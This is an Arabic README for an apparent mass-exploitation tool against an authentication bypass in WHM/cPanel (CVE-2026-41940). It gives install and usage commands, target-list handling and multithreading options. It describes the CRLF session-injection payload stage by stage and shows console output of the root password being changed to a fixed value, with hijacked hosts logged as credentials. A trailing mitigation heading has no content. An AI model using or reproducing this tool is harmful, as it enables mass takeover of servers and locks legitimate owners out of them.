CVE-2026-41940 - استغلال جماعي لتجاوز المصادقة في WHM/cPanel

📋 الوصف

CVE-2026-41940 هي ثغرة حرجة لتجاوز المصادقة في WHM/cPanel تسمح للمهاجمين بتجاوز المصادقة والحصول على صلاحيات الجذر (root) على الخادم دون بيانات اعتماد صالحة. تستغل الثغرة حقن CRLF في آلية إدارة الجلسات لحقن معاملات جلسة ضارة.

توفر هذه الأداة قدرات الاستغلال الجماعي مع دعم تعدد الخيوط لاختبار أهداف متعددة في وقت واحد، مع كشف ذكي للنجاح وتصفية تلقائية للأهداف غير الصالحة.

---

🎯 الميزات الرئيسية

الميزة	الوصف
✅ الاستغلال الجماعي	مسح واستغلال أهداف متعددة من ملف قائمة
🚀 تعدد الخيوط	عدد خيوط قابل للتكوين لفحص أسرع (الافتراضي: 15)
🔐 تغيير كلمة المرور تلقائياً	تغيير كلمة مرور الجذر إلى Jenderal92 عند نجاح الاستغلال
🛡️ كشف ذكي للنجاح	كشف تلقائي لتنسيقات استجابة WHM API المتنوعة
⚠️ تصفية أخطاء الترخيص	استبعاد الأهداف ذات أخطاء الترخيص غير الصالحة/غير القابلة للقراءة
📝 مخرجات منظمة	حفظ النجاحات المؤكدة فقط بتنسيق domain:port|user|pass
🛡️ دعم SSL/TLS	التعامل مع الشهادات الذاتية التوقيع تلقائياً
🔄 إدارة الجلسات	استخراج الجلسات تلقائياً، حقن الكوكيز، ومعالجة الرموز المميزة
⏱️ التحكم في المهلة	مهلة اتصال قابلة للتكوين (الافتراضي: 15 ثانية)
🔍 فحص ما قبل الاتصال	التحقق من توفر المنفذ قبل محاولة الاستغلال
📊 تقدم فوري	عرض تفاصيل التقدم لكل مرحلة استغلال

---

📦 المتطلبات

• Python 2.7 (مطلوب - غير متوافق مع Python 3.x)
• اتصال بالإنترنت للوصول إلى الأهداف
• حزم Python المطلوبة:

pip install requests urllib3 futures

أو استخدم requirements.txt:

requests==2.27.1
urllib3==1.26.18
futures==3.4.0

---

📥 التثبيت

# استنساخ المستودع
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940

# تثبيت التبعيات
pip install -r requirements.txt

# جعل الملف قابل للتنفيذ (لينكس/ماك)
chmod +x CVE-2026-41940.py

---

🚀 الاستخدام

1. إعداد ملف الأهداف

أنشئ ملف targets.txt بهدف واحد لكل سطر:

https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com

ملاحظة: المنفذ 2087 هو منفذ WHM الافتراضي. إذا لم يُحدد، سيستخدم المنفذ 2087 تلقائياً. ستتم إضافة بادئة HTTP/HTTPS تلقائياً إذا كانت مفقودة.

2. تشغيل الأداة

الاستخدام الأساسي (الإعدادات الافتراضية)

python2 CVE-2026-41940.py targets.txt

الاستخدام متعدد الخيوط

# استخدام 5 خيوط متزامنة
python2 CVE-2026-41940.py targets.txt --threads 5

# استخدام 20 خيط للفحص الأسرع
python2 CVE-2026-41940.py targets.txt --threads 20

اسم مضيف مخصص

# تجاوز رأس Host لجميع الأهداف
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10

مهلة مخصصة

# تعيين المهلة إلى 30 ثانية للاتصالات البطيئة
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30

---

📊 وسائط سطر الأوامر

الوسيطة	الوصف	القيمة الافتراضية	مطلوبة
list_file	ملف يحتوي على قائمة الأهداف (واحد لكل سطر)	-	✅ نعم
--threads	عدد الخيوط المتزامنة	15	❌ لا
--hostname	تجاوز رأس Host لجميع الأهداف	اكتشاف تلقائي	❌ لا
--timeout	مهلة الاتصال بالثواني	15	❌ لا

---

📁 تنسيق المخرجات

ملف النتائج (res.txt)

يتم حفظ النجاحات المؤكدة فقط. تُستبعد الأهداف ذات أخطاء الترخيص، أو فشل تغيير كلمة المرور، أو مشاكل الاتصال تلقائياً.

التنسيق:

domain:port|root|Jenderal92

مثال للمخرجات:

www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92

السيناريوهات المستبعدة

لن يتم حفظ الأهداف التالية في res.txt:

• أخطاء الترخيص (Cannot Read License File)
• فشل تغيير كلمة المرور
• انتهاء مهلة الاتصال أو الرفض
• الأهداف المحدثة/التي لا تحتوي على WHM
• بيانات اعتماد غير صحيحة أو فشل الجلسات

مخرجات وحدة التحكم

$ python2 CVE-2026-41940.py targets.txt --threads 10

 CVE-2026-41940 bypass authentication - Mass Exploit

[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED

==================================================

[*] Checking target: 127.0.0.1
    Original input: 127.0.0.1
    Normalized: https://127.0.0.1:2087
    Port 2087: OPEN
    Testing connection... OK (HTTP 200)

[0] hostname = example.com
[1] minting a preauth session...
    session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
    HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.118.0.13"}
[*] attempting to change the root password
    passwd -> HTTP 200
    {
      "data": {
        "app": ["system"]
      },
      "metadata": {
        "output": {
          "raw": "Password for \"root\" has been changed."
        },
        "reason": "Password changed for user \"root\".",
        "version": 1,
        "command": "passwd",
        "result": 1
      }
    }
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!

[✓] SUCCESS & SAVED: 127.0.0.1:2087
    Saved to res.txt: 127.0.0.1:2087|root|Jenderal92

==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4

[+] Results saved to res.txt

Successfully exploited targets (password changed to Jenderal92):
  ✓ 127.0.0.1:2087

---

🔬 كيف يعمل الاستغلال

يتكون الاستغلال من 4 مراحل رئيسية مع تحقق ذكي:

المرحلة 1: جلسة ما قبل المصادقة

[1] minting a preauth session...

• إرسال طلب POST إلى /login/?login_only=1 ببيانات اعتماد غير صالحة
• استرداد كوكي whostmgrsession من استجابة الخادم
• استخراج قاعدة الجلسة بإزالة الجزء التالي ,<obhex>
• يعطينا هذا تنسيق جلسة صالح للعمل به

المرحلة 2: هجوم حقن CRLF

[2] sending the CRLF injection...

• إرسال طلب GET مع رأس Authorization: Basic يحتوي على حمولة ضارة
• الحمولة المشفرة Base64 تعني:

  root:x
  successful_internal_auth_with_timestamp=9999999999
  user=root
  tfa_verified=1
  hasroot=1
  

• تقوم أحرف CRLF (\r\n) بحقن معاملات جلسة مزيفة
• يخدع هذا الخادم ليعتقد أن المصادقة نجحت
• يستجيب الخادم بـ HTTP 307 ورأس Location يحتوي على cp_security_token

المرحلة 3: نشر الجلسة

[3] firing do_token_denied to propagate...

• الوصول إلى نقطة النهاية /scripts2/listaccts باستخدام الكوكي المُعالج
• تشغيل آلية do_token_denied في WHM
• ينشر هذا معاملات الجلسة المحقونة في ذاكرة التخزين المؤقت للجلسات على الخادم
• استجابة HTTP 401 مع رسالة "Token denied" تؤكد نجاح النشر

المرحلة 4: التحقق وتغيير كلمة المرور

[4] verifying we're WHM root...

• الوصول إلى /json-api/version للتحقق من الوصول على مستوى الجذر
• استدعاء واجهة API /json-api/passwd لتغيير كلمة مرور الجذر إلى Jenderal92
• كشف ذكي للنجاح عبر تنسيقات استجابة WHM API المتنوعة:
  • {"metadata": {"result": 1}} (cPanel v11.118+)
  • {"status": 1} (الإصدارات الأقدم)
  • {"result": [{"status": 1}]} (تنسيق قديم)
  • رسائل نجاح نصية

التصفية التلقائية

تقوم الأداة تلقائياً باستبعاد:

• أخطاء الترخيص: {"status": 0, "statusmsg": "Cannot Read License File"}
• فشل تغيير كلمة المرور: عندما تعيد API رمز النجاح لكن كلمة المرور لم تتغير
• مشاكل الاتصال: انتهاء المهلة، اتصالات مرفوضة، مضيفين غير قابلين للوصول

---

🛡️ الكشف والتخفيف

مؤشرات الاختراق (IOCs)